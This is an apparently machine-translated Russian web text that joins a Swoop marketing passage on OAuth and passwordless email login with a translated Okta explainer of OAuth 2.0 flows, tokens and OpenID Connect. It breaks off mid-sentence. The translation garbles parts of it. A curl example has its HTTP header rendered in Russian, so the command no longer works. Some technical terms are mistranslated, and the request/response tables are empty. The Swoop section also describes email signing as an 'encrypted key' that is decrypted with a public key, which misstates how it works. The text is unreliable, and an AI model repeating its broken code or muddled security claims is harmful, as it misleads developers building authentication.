Swoop — это простой и безопасный сервис аутентификации без пароля.Благодаря нашей запатентованной технологии Magic Link ™ и Magic Message ™ ваш веб-сайт может повысить безопасность и повысить конверсию клиентов за счет удаления паролей. Попробуйте Swoop за Бесплатно4. Почему OAuth популярен?
Чтобы понять, почему OAuth так популярен, мы должны взглянуть на то, как информация передавалась до его существования. Если пользователь хотел передать информацию из одной учетной записи в другую, он должен был предоставить свои учетные данные стороннему веб-сайту. В результате многие не заслуживающие доверия веб-сайты воспользовались этой слабостью и использовали учетные данные человека для получения конфиденциальной информации.
Кроме того, этот устаревший процесс не ограничивает действия, которые может выполнять другой веб-сайт. С вашим именем пользователя и паролем сторонний веб-сайт может:
- Внесите изменения в свои настройки
- Доступ к конфиденциальной информации, такой как номер кредитной карты
- Измените свои учетные данные и заблокируйте доступ к учетной записи
OAuth возник как процесс, который не обменивался учетными данными и определял, что было на веб-сайте умение делать. Наличие безопасного способа обмена информацией на разных веб-сайтах означает, что компании и приложения могут чаще сотрудничать и предоставлять более удобные и оптимизированные услуги для своих пользователей.
OAuth не только упрощает сторонним веб-сайтам получение необходимой информации, но также делает процесс более удобным для пользователя. OAuth — популярное решение как для веб-сайтов, так и для пользователей, поскольку оно более безопасно, чем совместное использование учетных данных, и позволяет пользователям использовать сервисы на нескольких платформах.
5. Насколько безопасен OAuth?
Поскольку OAuth не передает ваши учетные данные другим веб-сайтам, он более безопасен, чем упомянутый выше альтернативный метод (предоставление учетных данных для входа на сторонний веб-сайт). Однако важно знать, что у OAuth есть свои слабые места — одна из самых важных, возникающих на этапе, когда пользователи перенаправляются на веб-сайт поставщика услуг для ввода своих учетных данных.
Вернемся к нашему примеру во втором разделе:
Если инструмент управления социальными сетями, запрашивающий доступ к вашим данным Facebook, оказался вредоносным веб-сайтом, он может направить пользователей на сайт, который выглядит так же, как Facebook, но на самом деле таковым не является.Когда вы входите в систему, вредоносный веб-сайт обрабатывает и сохраняет ваше имя пользователя и пароль. Вот почему всегда важно убедиться, что вы перенаправляетесь на правильный веб-сайт, когда вы предоставляете доступ потребителю.
Кроме того, без соответствующих спецификаций токены OAuth не имеют срока действия. В результате эти токены уязвимы для атак. Если хакер получит доступ к токену или секрету, который проверяет токен, он сможет обманом заставить систему делать неавторизованные запросы.
Поскольку хакеры умны и постоянно открывают новые способы получения доступа к учетным данным и личным учетным записям пользователей, не существует метода аутентификации или авторизации, который был бы полностью надежным. Однако это не означает, что все методы без пароля или на основе токенов небезопасны. Технологии киберпреступников развиваются так же, как и наша. Это просто означает, что вы, как разработчик или веб-дизайнер, должны быть в курсе новых и развивающихся практик, чтобы минимизировать риск для вас и ваших пользователей.
6. Как повысить безопасность с помощью OAuth?
Многие другие методы на основе токенов, такие как аутентификация по электронной почте, предоставляют пользователям безопасный способ проверки личности без особого риска. Допустим, вы хотели, чтобы пользователи могли входить в свои учетные записи без имени пользователя или пароля .
Аутентификация электронной почты позволяет пользователям завершить процесс входа в систему, используя свою личную учетную запись электронной почты, тем самым повышая безопасность и уменьшая необходимость запоминания другого набора учетных данных.
Вот как работает процесс аутентификации электронной почты Swoop Magic Message ™:
- Пользователь перенаправляется на службу Swoop через протокол OAuth 2.0 для аутентификации.
- В окне браузера пользователь нажимает кнопку «Отправить волшебное сообщение»: Кнопка активирует ссылку mailto, которая генерирует заранее написанное электронное письмо для отправки пользователем.
- Пользователь отправляет электронное письмо: Здесь происходит волшебство.После отправки электронной почты сервер исходящей электронной почты генерирует и встраивает полностью зашифрованный цифровой ключ размером 1024/2048 бит в заголовок электронного письма. Сервер аутентификации Swoop следует криптографической процедуре с открытым ключом для расшифровки этого ключа. Каждое отправленное письмо получает уникальный ключ для этого сообщения. Уровень безопасности этих зашифрованных ключей несравним с традиционными паролями.
- Пользователь вошел в свою учетную запись: Когда ключ расшифровывает и проходит все уровни проверки, сервер аутентификации Swoop дает указание веб-сайту открыть учетную запись пользователя и начать сеанс.Все это происходит в считанные секунды и значительно упрощает взаимодействие с пользователем.
Волшебная система аутентификации электронной почты Swoop стала возможной благодаря созданию в сочетании с сверхбезопасным протоколом авторизации OAuth. Кроме того, она более удобна для пользователя, чем традиционная система на основе паролей, поскольку в первую очередь пользователю требуется на один набор учетных данных меньше!
Теперь, когда вы знакомы с тонкостями OAuth, вы готовы повысить безопасность своего веб-сайта и повысить удобство работы пользователей. Для получения дополнительной информации о протоколах аутентификации и безопасности веб-сайтов, посетите эти дополнительные ресурсы:
Что, черт возьми, такое OAuth?
Существует много путаницы в отношении того, что на самом деле означает OAuth.
Некоторые люди думают, что OAuth — это процесс входа в систему (например, когда вы входите в приложение с помощью входа в Google), а некоторые люди думают о OAuth как о «элементе безопасности» , и на самом деле не знают ничего большего, чем это.
Я собираюсь показать вам, что такое OAuth, объяснить, как он работает, и, надеюсь, расскажу, как и где OAuth может помочь вашему приложению.
Что такое OAuth?
Для начала, OAuth — это , а не API или служба: это открытый стандарт авторизации, и любой может его реализовать.
В частности, OAuth — это стандарт, который приложения могут использовать для предоставления клиентским приложениям «безопасного делегированного доступа». OAuth работает через HTTPS и авторизует устройства, API, серверы и приложения с помощью токенов доступа, а не учетных данных.
Существует две версии OAuth: OAuth 1.0a и OAuth 2.0. Эти спецификации полностью отличаются друг от друга и не могут использоваться вместе: между ними отсутствует обратная совместимость .
Какой из них более популярен? Отличный вопрос! В настоящее время OAuth 2.0 является наиболее широко используемой формой OAuth. Так что с этого момента, когда я говорю «OAuth», я говорю об OAuth 2.0 — так как это, скорее всего, то, что вы будете использовать.
Почему OAuth?
OAuth был создан как ответ на шаблон прямой аутентификации.Этот шаблон стал известен благодаря базовой аутентификации HTTP, когда пользователю предлагается ввести имя пользователя и пароль. Базовая проверка подлинности по-прежнему используется в качестве примитивной формы проверки подлинности API для серверных приложений: вместо отправки имени пользователя и пароля на сервер с каждым запросом пользователь отправляет идентификатор ключа API и секрет. До OAuth сайты предлагали вам ввести имя пользователя и пароль прямо в форму, и они входили в ваши данные (например, в вашу учетную запись Gmail) как вы.Это часто называют анти-шаблоном пароля.
Чтобы создать лучшую систему для Интернета, была создана федеративная идентификация для единого входа (SSO). В этом сценарии конечный пользователь разговаривает со своим поставщиком удостоверений, и поставщик удостоверений генерирует криптографически подписанный токен, который передает приложению для аутентификации пользователя. Приложение доверяет поставщику удостоверений. Пока эти доверительные отношения работают с подписанным утверждением, все в порядке. На схеме ниже (из документации Okta по OAuth) показано, как это работает.
Федеративная идентификация прославилась благодаря SAML 2.0, стандарту OASIS, выпущенному 15 марта 2005 года. Это обширная спецификация, но основными двумя компонентами являются протокол запроса аутентификации (он же Web SSO) и способ упаковки атрибутов идентификации и их подписи. называется утверждениями SAML. Okta делает это с помощью своих шиклетов SSO. Мы отправляем сообщение, мы подписываем утверждение, внутри утверждения написано, кто пользователь и что оно пришло из Okta. Поставьте на него цифровую подпись, и все готово.
САМЛ
SAML — это, по сути, файл cookie сеанса в вашем браузере, который дает вам доступ к веб-приложениям. Он ограничен по типам профилей устройств и сценариям, которые вы, возможно, захотите использовать за пределами веб-браузера.
Когда SAML 2.0 был запущен в 2005 году, это имело смысл. Однако с тех пор многое изменилось. Теперь у нас есть современные веб-платформы и платформы для разработки нативных приложений. Существуют одностраничные приложения (SPA), такие как Gmail / Google Inbox, Facebook и Twitter. Их поведение отличается от поведения вашего традиционного веб-приложения, поскольку они выполняют AJAX (фоновые HTTP-вызовы) API.Мобильные телефоны также выполняют вызовы API, как и телевизоры, игровые консоли и устройства Интернета вещей. Система единого входа на базе SAML не очень хороша для этого.
OAuth и API
Многое изменилось и в том, как мы создаем API. В 2005 году люди инвестировали в WS- * для создания веб-сервисов. Теперь большинство разработчиков перешли на REST и API без сохранения состояния. Вкратце, REST — это HTTP-команды, передающие пакеты JSON по сети.
Разработчики создают множество API. Экономика API — это обычное модное слово, которое сегодня можно услышать в залах заседаний.Компаниям необходимо защищать свои REST API таким образом, чтобы к ним могли получить доступ многие устройства. Раньше вы вводили каталог со своим именем пользователя и паролем, и приложение входило в систему напрямую от вашего имени. Это привело к проблеме делегированной авторизации.
«Как я могу разрешить приложению доступ к моим данным, не сообщая при этом свой пароль?»
Если вы когда-нибудь видели один из приведенных ниже диалогов, мы говорим именно об этом. Это приложение, которое спрашивает, может ли оно получить доступ к данным от вашего имени.
Это OAuth.
OAuth — это платформа делегированной авторизации для REST / API. Это позволяет приложениям получать ограниченный доступ (области) к данным пользователя, не раскрывая пароль пользователя. Он отделяет аутентификацию от авторизации и поддерживает несколько вариантов использования, касающихся различных возможностей устройства. Он поддерживает межсерверные приложения, приложения на основе браузера, мобильные / нативные приложения и консоли / телевизоры.
Вы можете думать об этом как о карточках-ключах от отелей, но только для приложений. Если у вас есть ключ-карта отеля, вы можете попасть в свой номер.Как получить ключ-карту от отеля? Вы должны пройти аутентификацию на стойке регистрации, чтобы получить его. После аутентификации и получения ключа-карты вы можете получить доступ к ресурсам на всей территории отеля.
Проще говоря, OAuth — это где:
- Приложение запрашивает авторизацию у пользователя.
- Пользователь авторизует приложение и предоставляет доказательства. Приложение
- представляет подтверждение авторизации серверу для получения токена. Маркер
- ограничен для доступа только к тому, что Пользователь авторизовал для конкретного приложения.
Центральные компоненты OAuth
OAuth построен на следующих центральных компонентах:
- Объем и согласие
- Актеры
- Клиенты
- жетонов
- Сервер авторизации
- Потоки
Области действия OAuth
Области — это то, что вы видите на экранах авторизации, когда приложение запрашивает разрешения. Это пакеты разрешений, запрашиваемые клиентом при запросе токена. Они кодируются разработчиком приложения при написании приложения.
Области отделяют решения политики авторизации от принудительного исполнения. Это первый ключевой аспект OAuth. Разрешения передние и центральные. Они не скрыты за слоем приложения, который вам нужно перепроектировать. Они часто упоминаются в документации по API: вот области, которые требуются для этого приложения.
Вы должны получить это согласие. Это называется доверием при первом использовании. Это довольно значительное изменение пользовательского опыта в Интернете. Большинство людей до OAuth использовалось только для ввода имени и пароля в диалоговых окнах.Теперь у вас есть новый экран, который появляется, и вам нужно научить пользователей пользоваться им. Переучить интернет-население сложно. Есть самые разные пользователи, от технически подкованной молодежи до бабушек и дедушек, которые не знакомы с этим процессом. Это новая концепция в Интернете, которая теперь находится в центре внимания. Теперь вам нужно авторизовать и принести согласие.
Согласие может варьироваться в зависимости от приложения. Это может быть диапазон, зависящий от времени (день, недели, месяцы), но не все платформы позволяют выбрать продолжительность.Когда вы даете согласие, нужно следить за тем, чтобы приложение могло делать что-то от вашего имени, например LinkedIn рассылает спам всем в вашей сети.
OAuth — это масштабируемое интернет-решение, поскольку оно предназначено для каждого приложения. Часто у вас есть возможность войти в панель управления, чтобы увидеть, к каким приложениям вам предоставлен доступ, и отозвать согласие.
Актеры OAuth
Действующие лица в потоках OAuth следующие:
- Владелец ресурса : владеет данными на сервере ресурсов.Например, я владелец ресурса своего профиля в Facebook.
- Сервер ресурсов : API, в котором хранятся данные, к которым приложение хочет получить доступ.
- Клиент : приложение, которое хочет получить доступ к вашим данным.
- Сервер авторизации : основной механизм OAuth.
Владелец ресурса — это роль, которая может меняться с разными учетными данными. Это может быть конечный пользователь, но также может быть компания.
Клиенты могут быть публичными и конфиденциальными.В номенклатуре OAuth существует существенное различие между ними. Конфиденциальным клиентам можно доверить хранение секретов. Они не работают на компьютере и не распространяются через магазин приложений. Люди не могут перепроектировать их и получить секретный ключ. Они работают в защищенной зоне, где конечные пользователи не могут получить к ним доступ.
Общедоступные клиенты — это браузеры, мобильные приложения и устройства Интернета вещей.
Регистрация клиента также является ключевым компонентом OAuth. Это похоже на DMV OAuth. Вам необходимо получить номерной знак для вашего приложения.Вот как логотип вашего приложения отображается в диалоговом окне авторизации.
токенов OAuth
Маркер доступа — это маркер, который клиент использует для доступа к серверу ресурсов (API). Они должны быть недолговечными. Думайте о них в часах и минутах, а не днях и месяцах. Для получения токена доступа вам не нужен конфиденциальный клиент. Вы можете получить токены доступа с публичными клиентами. Они созданы для решения проблем с масштабированием Интернета. Поскольку эти токены могут быть недолговечными и масштабироваться, их нельзя отозвать, вам просто нужно подождать, пока они истекут.
Другой токен — это токен обновления. Это намного дольше; дни, месяцы, годы. Это можно использовать для получения новых токенов. Чтобы получить токен обновления, приложениям обычно требуются конфиденциальные клиенты с аутентификацией.
Жетоны обновления могут быть отозваны. Отменяя доступ к приложению на панели инструментов, вы убиваете его токен обновления. Это дает вам возможность заставить клиентов менять секреты. Вы используете свой токен обновления для получения новых токенов доступа, а токены доступа проходят по сети, чтобы поразить все ресурсы API.Каждый раз, когда вы обновляете свой токен доступа, вы получаете новый токен с криптографической подписью. Ротация ключей встроена в систему.
Спецификация OAuth не определяет, что такое токен. Он может быть в любом формате. Однако обычно вы хотите, чтобы эти токены были веб-токенами JSON (стандарт). Вкратце, JWT (произносится как «джот») — это безопасный и заслуживающий доверия стандарт аутентификации токена. JWT позволяют подписывать информацию цифровой подписью (называемой утверждениями) с помощью подписи и могут быть проверены позже с помощью секретного ключа подписи.Чтобы узнать больше о JWT, см. Руководство для начинающих по JWT в Java.
токенов получены с конечных точек на сервере авторизации. Две основные конечные точки — это конечная точка авторизации и конечная точка токена. Они разделены для разных сценариев использования. Конечная точка авторизации — это то место, куда вы переходите, чтобы получить согласие и авторизацию от пользователя. Это возвращает разрешение на авторизацию, в котором говорится, что пользователь согласился на это. Затем авторизация передается конечной точке токена. Конечная точка токена обрабатывает грант и говорит: «Отлично, вот ваш токен обновления и ваш токен доступа.”
Вы можете использовать токен доступа для доступа к API. Когда он истечет, вам нужно будет вернуться к конечной точке токена с токеном обновления, чтобы получить новый токен доступа.
Обратной стороной является сильное трение проявителя. Одна из самых больших проблем OAuth для разработчиков — это управление токенами обновления. Вы передаете управление состоянием каждому клиентскому разработчику. Вы получаете преимущества ротации ключей, но только что доставили много хлопот разработчикам. Вот почему разработчики любят ключи API.Они могут просто скопировать / вставить их, вставить в текстовый файл и покончить с ними. Ключи API очень удобны для разработчика, но очень вредны для безопасности.
Здесь проблема с оплатой. Если заставить разработчиков выполнять потоки OAuth, повышается безопасность, но возникает больше трений. Наборы инструментов и платформы позволяют упростить работу и помочь с управлением токенами. К счастью, в наши дни OAuth достаточно развит, и, скорее всего, в вашем любимом языке или фреймворке есть инструменты для упрощения.
Мы немного поговорили о типах клиентов, типах токенов и конечных точках сервера авторизации, а также о том, как передать это на сервер ресурсов. Я упомянул два разных потока: получение авторизации и получение токенов. Это не обязательно должно происходить на одном канале. Передний канал — это то, что проходит через браузер. Браузер перенаправил пользователя на сервер авторизации, пользователь дал согласие. Это происходит в браузере пользователя. Как только пользователь берет это разрешение на авторизацию и передает его приложению, клиентскому приложению больше не нужно использовать браузер для завершения потока OAuth для получения токенов.
Маркеры предназначены для использования клиентским приложением, чтобы оно могло получать доступ к ресурсам от вашего имени. Мы называем это обратным каналом. Обратный канал — это HTTP-вызов непосредственно от клиентского приложения к серверу ресурсов для обмена предоставлением авторизации для токенов. Эти каналы используются для разных потоков в зависимости от возможностей вашего устройства.
Например, поток переднего канала, в котором вы авторизуетесь через пользовательский агент, может выглядеть следующим образом:
- Владелец ресурса запускает поток для делегирования доступа к защищенному ресурсу.
- Клиент отправляет запрос авторизации с желаемыми областями через перенаправление браузера на конечную точку авторизации на сервере авторизации. Сервер авторизации
- возвращает диалоговое окно согласия с вопросом «разрешаете ли вы этому приложению доступ к этим областям?» Конечно, вам необходимо пройти аутентификацию в приложении, поэтому, если вы не аутентифицированы на своем сервере ресурсов, он попросит вас войти в систему. Если у вас уже есть кэшированный файл cookie сеанса, вы просто увидите согласие диалоговое окно.Просмотрите диалоговое окно согласия и согласитесь.
- Разрешение на авторизацию передается обратно в приложение через перенаправление браузера. Все это происходит на переднем канале.
В этом потоке также есть отклонение, называемое неявным потоком. Мы вернемся к этому через минуту.
Вот как это выглядит на проводе.
Запрос | Это запрос GET с набором параметров запроса (не в кодировке URL, например). Области действия взяты из API Gmail. Redirect_uri — это URL-адрес клиентского приложения, которому должно быть возвращено разрешение на авторизацию. Это должно соответствовать значению из процесса регистрации клиента (в DMV). Вы не хотите, чтобы авторизация возвращалась стороннему приложению.Тип ответа зависит от потоков OAuth. Идентификатор клиента также получен из процесса регистрации. Состояние — это флаг безопасности, аналогичный XRSF. Чтобы узнать больше о XRSF, см. «Объяснение подделки межсайтовых запросов» от DZone. |
Ответ | Возвращенный код |
После завершения работы с передним каналом происходит поток по обратному каналу, в котором код авторизации обменивается на токен доступа.
Клиентское приложение отправляет запрос маркера доступа конечной точке маркера на сервере авторизации с конфиденциальными учетными данными и идентификатором клиента. Этот процесс обменивает предоставление кода авторизации на токен доступа и (необязательно) токен обновления. Клиент обращается к защищенному ресурсу с помощью токена доступа.
Ниже показано, как это выглядит в чистом HTTP.
Запрос | Грант-тип OAuth — это расширяемость. Это код авторизации с заранее вычисленной точки зрения. Это дает возможность по-разному описывать эти гранты.Это наиболее распространенный тип потока OAuth. |
Ответ | Ответ — JSON. Вы можете реагировать или активно использовать токены. Проактивно иметь таймер в вашем клиенте. Реактивный — это отловить ошибку и затем попытаться получить новый токен. |
Если у вас есть маркер доступа, вы можете использовать маркер доступа в заголовке аутентификации (используя token_type
в качестве префикса) для выполнения защищенных запросов ресурсов.
curl -H "Авторизация: предъявитель 2YotnFZFEjr1zCsicMWpAA" \
https://www.googleapis.com/gmail/v1/users/1444587525/messages
Итак, теперь у вас есть передний канал, задний канал, разные конечные точки и разные клиенты. Вы должны смешивать и сопоставлять их для разных случаев использования. Это повышает сложность OAuth и может сбивать с толку.
Потоки OAuth
Самый первый поток — это то, что мы называем неявным потоком . Причина, по которой это называется неявным потоком, заключается в том, что все взаимодействие происходит через браузер.Нет никакого внутреннего сервера, который использовал бы разрешение на авторизацию для токена доступа. SPA — хороший пример использования этого потока. Этот поток также называется двухсторонним протоколом OAuth.
Неявный поток оптимизирован для общедоступных клиентов, работающих только в браузере. Маркер доступа возвращается непосредственно из запроса авторизации (только передний канал). Обычно он не поддерживает токены обновления. Предполагается, что владелец ресурса и публичный клиент находятся на одном устройстве. Поскольку все происходит в браузере, он наиболее уязвим для угроз безопасности.
Золотым стандартом является поток кода авторизации , также известный как 3-Legged, который использует как передний, так и задний канал. Это то, о чем мы больше всего говорили в этой статье. Поток переднего канала используется клиентским приложением для получения кода авторизации. Обратный канал используется клиентским приложением для обмена предоставленного кода авторизации на токен доступа (и, возможно, на токен обновления). Предполагается, что владелец ресурса и клиентское приложение находятся на разных устройствах.Это наиболее безопасный поток, потому что вы можете аутентифицировать клиента для погашения разрешения на авторизацию, а токены никогда не проходят через пользовательский агент. Существуют не только потоки неявного кода и кода авторизации, но и дополнительные потоки, которые можно выполнять с помощью OAuth. Опять же, OAuth — это скорее фреймворк.
Для сценариев «сервер-сервер» вы можете использовать Client Credential Flow . В этом сценарии клиентское приложение является конфиденциальным клиентом, который действует самостоятельно, а не от имени пользователя.Это скорее сценарий служебного аккаунта. Все, что вам нужно, это учетные данные клиента для выполнения всего процесса. Это только обратный канал для получения токена доступа с использованием учетных данных клиента. Он поддерживает общие секреты или утверждения в качестве учетных данных клиента, подписанных симметричными или асимметричными ключами.
Алгоритмы с симметричным ключом — это криптографические алгоритмы, которые позволяют расшифровать что угодно, если у вас есть пароль. Это часто встречается при защите файлов PDF или .zip.
Криптография с открытым ключом или асимметричная криптография — это любая криптографическая система, использующая пары ключей: открытые ключи и частные ключи. Открытые ключи может прочитать кто угодно, закрытые ключи священны для владельца. Это позволяет обеспечить безопасность данных без необходимости сообщать пароль.
Существует также устаревший режим под названием Resource Owner Password Flow . Это очень похоже на прямую аутентификацию с использованием имени пользователя и пароля и не рекомендуется. Это устаревший тип предоставления для собственных приложений с именем пользователя и паролем, например для настольных приложений.В этом потоке вы отправляете клиентскому приложению имя пользователя и пароль, и оно возвращает маркер доступа с сервера авторизации. Обычно он не поддерживает токены обновления и предполагает, что владелец ресурса и общедоступный клиент находятся на одном устройстве. Когда у вас есть API, который хочет говорить только по OAuth, но у вас есть клиенты старой школы, с которыми нужно иметь дело.
Более поздним дополнением к OAuth является поток утверждения , который аналогичен потоку учетных данных клиента. Это было добавлено, чтобы раскрыть идею федерации.Этот поток позволяет серверу авторизации доверять разрешениям на авторизацию от третьих сторон, таких как SAML IdP. Сервер авторизации доверяет поставщику удостоверений. Утверждение используется для получения токена доступа от конечной точки токена. Это отлично подходит для компаний, которые инвестировали в технологии SAML или SAML, и позволяют им интегрироваться с OAuth. Поскольку утверждения SAML недолговечны, в этом потоке нет токенов обновления, и вам придется получать токены доступа каждый раз, когда истекает срок действия утверждения.
Отсутствует в спецификации OAuth, это Device Flow . Нет веб-браузера, только контроллер для чего-то вроде телевизора. Код пользователя возвращается из запроса авторизации, который необходимо активировать, посетив URL-адрес на устройстве с браузером для авторизации. Поток обратного канала используется клиентским приложением для опроса на предмет утверждения авторизации для токена доступа и, при необходимости, токена обновления. Он также популярен среди клиентов CLI.
Мы рассмотрели шесть различных потоков с использованием разных участников и типов токенов.Они необходимы из-за возможностей клиентов, из-за того, как нам нужно было получить согласие от клиента, который дает согласие, а это добавляет много сложностей в OAuth.
Когда люди спрашивают, поддерживаете ли вы OAuth, вы должны пояснить, о чем они просят. Они спрашивают, поддерживаете ли вы все шесть потоков или только основные? Между всеми различными потоками существует большая степень детализации.
Безопасность и предприятие
OAuth имеет большую площадь.Благодаря неявному потоку существует множество перенаправлений и много места для ошибок. Многие люди пытались использовать OAuth между приложениями, и это легко сделать, если не следовать рекомендованным правилам Web Security 101. Например:
- Всегда используйте токены CSRF с параметром
state
для обеспечения целостности потока. - Всегда вносить URI перенаправления в белый список, чтобы гарантировать правильность проверки URI.
- Привяжите одного и того же клиента к разрешениям на авторизацию и запросам токенов с идентификатором клиента.
- Для конфиденциальных клиентов, убедитесь, что секреты клиентов не разглашаются. Не храните секреты клиента в своем приложении, которое распространяется через App Store!
Самая большая жалоба на OAuth в целом исходит от специалистов по безопасности. Речь идет о токенах на предъявителя и о том, что они могут передаваться так же, как файлы cookie сеанса. Вы можете передать его, и все готово, он криптографически не привязан к пользователю. Использование JWT помогает, потому что их невозможно изменить. Однако, в конце концов, JWT — это просто строка символов, поэтому их можно легко скопировать и использовать в заголовке Authorization
.
Примеры использования Enterprise OAuth 2.0
OAuth отделяет ваши решения по политике авторизации от аутентификации. Это позволяет правильно сочетать мелкую и крупнозернистую авторизацию. Он может заменить традиционные политики управления веб-доступом (WAM). Он также отлично подходит для ограничения и отмены разрешений при создании приложений, которые могут обращаться к определенным API. Это гарантирует, что только управляемые и / или совместимые устройства могут получить доступ к определенным API. Он имеет глубокую интеграцию с рабочими процессами деинициализации удостоверений для отзыва всех токенов у пользователя или устройства.Наконец, он поддерживает федерацию с поставщиком удостоверений.
OAuth не является протоколом аутентификации
Подведем итог некоторым ошибочным представлениям об OAuth 2.0: он не имеет обратной совместимости с OAuth 1.0. Он заменяет подписи на HTTPS для всех коммуникаций. Когда сегодня говорят об OAuth, они имеют в виду OAuth 2.0.
Поскольку OAuth — это структура авторизации, а не протокол, у вас могут возникнуть проблемы с совместимостью. Существует множество вариантов реализации OAuth в группах, и вам может потребоваться специальный код для интеграции с поставщиками.
OAuth 2.0 не является протоколом аутентификации. Об этом даже говорится в документации.
Мы все время говорили о делегированной авторизации. Дело не в аутентификации пользователя, и это ключевой момент. Сам по себе OAuth 2.0 абсолютно ничего не говорит о пользователе. У вас просто есть токен для доступа к ресурсу.
За последние несколько лет в OAuth произошло огромное количество дополнений. Они снова усложняют OAuth для выполнения различных корпоративных сценариев.Например, JWT можно использовать в качестве взаимодействующих токенов, которые можно подписать и зашифровать.
Псевдо-аутентификация с помощью OAuth 2.0
Вход с помощью OAuth стал известен благодаря Facebook Connect и Twitter. В этом потоке клиент обращается к конечной точке / me
с токеном доступа. Все, что он говорит, это то, что у клиента есть доступ к ресурсу с токеном. Люди изобрели эту фальшивую конечную точку как способ вернуть профиль пользователя с токеном доступа. Это нестандартный способ получить информацию о пользователе.В стандартах нет ничего, что говорило бы, что каждый должен реализовать эту конечную точку. Маркеры доступа должны быть непрозрачными. Они предназначены для API и не предназначены для хранения пользовательской информации.
То, что вы действительно пытаетесь ответить с помощью аутентификации, — это , кто является пользователем, , когда аутентифицировал пользователя, и , как аутентифицировал пользователя. Обычно вы можете ответить на эти вопросы с помощью утверждений SAML, а не с помощью маркеров доступа и грантов авторизации.Вот почему мы называем это псевдо-аутентификацией.
Введите OpenID Connect
Чтобы решить проблему псевдо-аутентификации, лучшие части OAuth 2.0, Facebook Connect и SAML 2.0 были объединены для создания OpenID Connect. OpenID Connect (OIDC) расширяет OAuth 2.0 новым подписанным идентификатором id_token
для клиента и конечной точкой UserInfo
для получения атрибутов пользователя. В отличие от SAML, OIDC предоставляет стандартный набор областей и требований для идентификаторов. Примеры: профиль
, электронная почта
, адрес
и телефон
.
OIDC был создан для масштабирования в Интернете, делая вещи полностью динамическими. Больше не нужно скачивать метаданные и федерацию, как того требует SAML. Есть встроенная регистрация, обнаружение и метаданные для динамических федераций. Вы можете ввести свой адрес электронной почты, затем он динамически обнаруживает вашего поставщика OIDC, динамически загружает метаданные, динамически знает, какие сертификаты он собирается использовать, и разрешает BYOI (Bring Your Own Identity). Он поддерживает высокий уровень гарантии и ключевые сценарии использования SAML для предприятий.
OIDC прославили Google и Microsoft, которые первыми начали его внедрять. Okta также вложила большие средства в OIDC.
Все, что изменилось в первоначальном запросе, — это то, что он содержит стандартные области (например, openid
и электронная почта
):
Запрос | |
Ответ | Возвращенный код |
И разрешение на авторизацию для ответа токенов содержит токен ID.
Запрос | |
Ответ | |
Вы можете видеть, что это красиво наложено поверх OAuth, чтобы вернуть токен ID в виде структурированного токена. Маркер идентификатора — это веб-токен JSON (JWT). JWT (он же «jot») намного меньше гигантского утверждения SAML на основе XML и может эффективно передаваться между различными устройствами. JWT состоит из трех частей: заголовка, тела и подписи. В заголовке указано, какой алгоритм был использован для его подписания, претензии находятся в теле, а его подписано в подписи.
Поток Open ID Connect включает следующие шаги:
- Обнаружить метаданные OIDC.
- Выполните поток OAuth, чтобы получить токен идентификатора и токен доступа.
- Получите ключи подписи JWT и, при необходимости, динамически зарегистрируйте клиентское приложение.
- Проверить токен JWT ID локально на основе встроенных дат и подписей.
- Получите дополнительные атрибуты пользователя по мере необходимости с помощью токена доступа.
OAuth + Okta
Okta наиболее известна своими службами единой регистрации, которые позволяют беспрепятственно проходить аутентификацию в приложениях, которые вы используете ежедневно.Но знаете ли вы, что у Okta есть отличная платформа для разработчиков? Безопасный единый вход часто использует SAML в качестве предпочтительного протокола, но Okta также предоставляет несколько других вариантов, включая виджет входа, Auth SDK (библиотека на основе JavaScript), вход через социальные сети и API аутентификации для любого клиента. Если вы хотите узнать об Okta прямо из первоисточника, вам следует посетить Oktane17 в конце августа. Есть трек, посвященный разработке приложений.
См. OIDC / OAuth 2.0 API Okta для получения конкретной информации о том, как мы поддерживаем OAuth.
SAML внедряется Okta с ее модулями SSO. Если вы, как и я, являетесь клиентом Okta, вы, вероятно, взаимодействуете с большинством приложений, используя что-то вроде https://okta.okta.com/app/UserHome. Когда вы нажимаете на чиклет, мы отправляем сообщение, мы подписываем утверждение, внутри утверждения указывается, кто является пользователем и что оно пришло из Okta. Поставьте на него цифровую подпись, и все готово.
Если вы предпочитаете посмотреть видео, чтобы узнать о OAuth, посмотрите презентацию Карла МакГиннесса, старшего директора по идентификации в Okta, ниже.
Сводка
OAuth 2.0 — это среда авторизации для делегированного доступа к API. Он включает клиентов, которые запрашивают области, на которые Владельцы ресурсов разрешают / дают согласие. Гранты авторизации обмениваются на токены доступа и токены обновления (в зависимости от потока). Существует несколько потоков для решения различных сценариев клиента и авторизации. JWT могут использоваться для структурированных токенов между серверами авторизации и серверами ресурсов.
OAuth имеет очень большую площадь защиты.Обязательно используйте безопасный инструментарий и проверьте все введенные данные!
OAuth не является протоколом аутентификации. OpenID Connect расширяет OAuth 2.